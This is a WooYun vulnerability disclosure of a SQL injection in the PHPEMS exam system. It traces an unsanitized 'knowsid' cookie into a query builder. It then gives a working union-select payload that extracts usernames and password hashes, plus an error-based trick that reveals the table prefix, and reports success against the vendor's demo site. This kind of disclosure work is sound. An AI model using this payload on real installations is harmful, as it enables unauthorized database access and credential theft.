当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081915

漏洞标题:PHPEMS注入一处(Demo测试成功)

相关厂商:PHPEMS

漏洞作者: SLAckEr

提交时间:2014-11-06 15:02

修复时间:2015-02-04 15:04

公开时间:2015-02-04 15:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

过滤不严导致的注入

详细说明:

看文件 /app/exam/app.php 272-286行

public function lesson()
{
$action = $this->ev->url(3);
$page = $this->ev->get('page');
switch($action)
{
case 'ajax':
switch($this->ev->url(4))
{
case 'questions':
$number = $this->ev->get('number');
if(!$number)$number = 1;
$questid = $this->ev->getCookie('questype');
$knowsid = $this->ev->getCookie('knowsid');
$questions = $this->question->getRandQuestionListByKnowid($knowsid,$questid);


跟下getCookie 文件/lib/ev.cls.php 81-85行

public function getCookie($par,$nohead = 0)
{
if(isset($this->cookie[CH.$par]))return $this->cookie[CH.$par];
elseif(isset($this->cookie[$par]) && $nohead)return $this->cookie[$par];
else return false;
}


从cookie中获得参数,这里的knowsid没有处理。
然后带进了这个函数getRandQuestionListByKnowid
跟一下/app/exam/cls/question.cls.php 94-105行

public function getRandQuestionListByKnowid($knowid,$typeid)
{
$data = array('DISTINCT questions.questionid',array('questions','quest2knows'),array("quest2knows.qkknowsid IN ({$knowid})","quest2knows.qktype = 0","quest2knows.qkquestionid = questions.questionid","questions.questiontype = '{$typeid}'","questions.questionstatus = 1"),false,false,false);
$sql = $this->sql->makeSelect($data);
$r = $this->db->fetchAll($sql);
$t = array();
foreach($r as $p)
{
$t[] = $p['questionid'];
}
return $t;
}


注意$data,$knowid没有单引号也没有处理。
再看下makeSelect /lib/sql.cls.php 214-282

public function makeSelect($selectors,$type = 1)
{
if(!is_array($selectors))return false;
$sql = "SELECT ";
if(!$selectors[0])$selectors[0] = "*";
if(is_array($selectors[0]))
{
$sql .= rtrim(implode(',',$selectors[0]),',');
}
else $sql .= $selectors[0];
$sql .= " FROM ";
if(is_array($selectors[1]))
{
$tmp = NULL;
foreach($selectors[1] as $p)
{
if($type)$tmp .= $this->tablepre.$p." AS ".$p.",";
else
$tmp .= $p." AS t ,";
}
$sql .= rtrim($tmp,',');
}
else
{
if($type)$sql .= $this->tablepre.$selectors[1]." AS ".$selectors[1];
else
$sql .= $selectors[1]." AS t";
}
$sql .= " WHERE ";
if(!$selectors[2])$selectors[2] = 1;
if(is_array($selectors[2]))
{
$sql .= rtrim(implode(' AND ',$selectors[2]),'AND ');
}
else $sql .= $selectors[2];
if($selectors[3])
{
$sql .= " GROUP BY ";
if(is_array($selectors[3]))
{
$sql .= rtrim(implode(',',$selectors[3]),',');
}
else $sql .= $selectors[3];
}
if($selectors[4])
{
$sql .= " ORDER BY ";
if(is_array($selectors[4]))
{
$sql .= rtrim(implode(',',$selectors[4]),',');
}
else $sql .= $selectors[4];
}
if($selectors[5])
{
$sql .= " LIMIT ";
if(is_array($selectors[5]))
{
$sql .= rtrim(implode(',',$selectors[5]),',');
}
else $sql .= $selectors[5];
}
elseif($selectors[5] !== false)
{
$sql .= " LIMIT 0,100";
}
return $sql;
}


直接生成select语句的sql,没有处理。这样就导致了注入的产生。

漏洞证明:

利用过程:
首先注册个用户,开一个新考场

1.JPG


是免费的测试的。
然后访问
http://127.0.0.1/phpems_zxmnks_v2.2/index.php?exam-app-lesson-ajax-questions&number=1
抓包

2.png


3.png


输入poc
NULL) union select concat(username,0x23,userpassword) from x2_user #(

4.png


那么如果数据库前缀改掉了肿么办?
http://127.0.0.1/phpems_zxmnks_v2.2/index.php?exam-app-lesson-ajax-questions&number=
直接访问这个就行了,把number参数的值去掉,就可以爆出前缀,。。。。

11.JPG


官网的前缀不是x2,改掉了。通过这个方法爆出,然后上个图。

mask 区域
*****^^*****
*****38e8bc2e36df388e57c2b0.jpg*****


还有问题的函数
getRandQuestionRowsListByKnowid
getKnowsBySubjectAndAreaid
getRandQuestionList
没在仔细看了,睡觉了。。

修复方案:

对cookie传递进来的参数过滤,对带入sql查询的变量从函数上过滤。

版权声明:转载请注明来源 SLAckEr@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝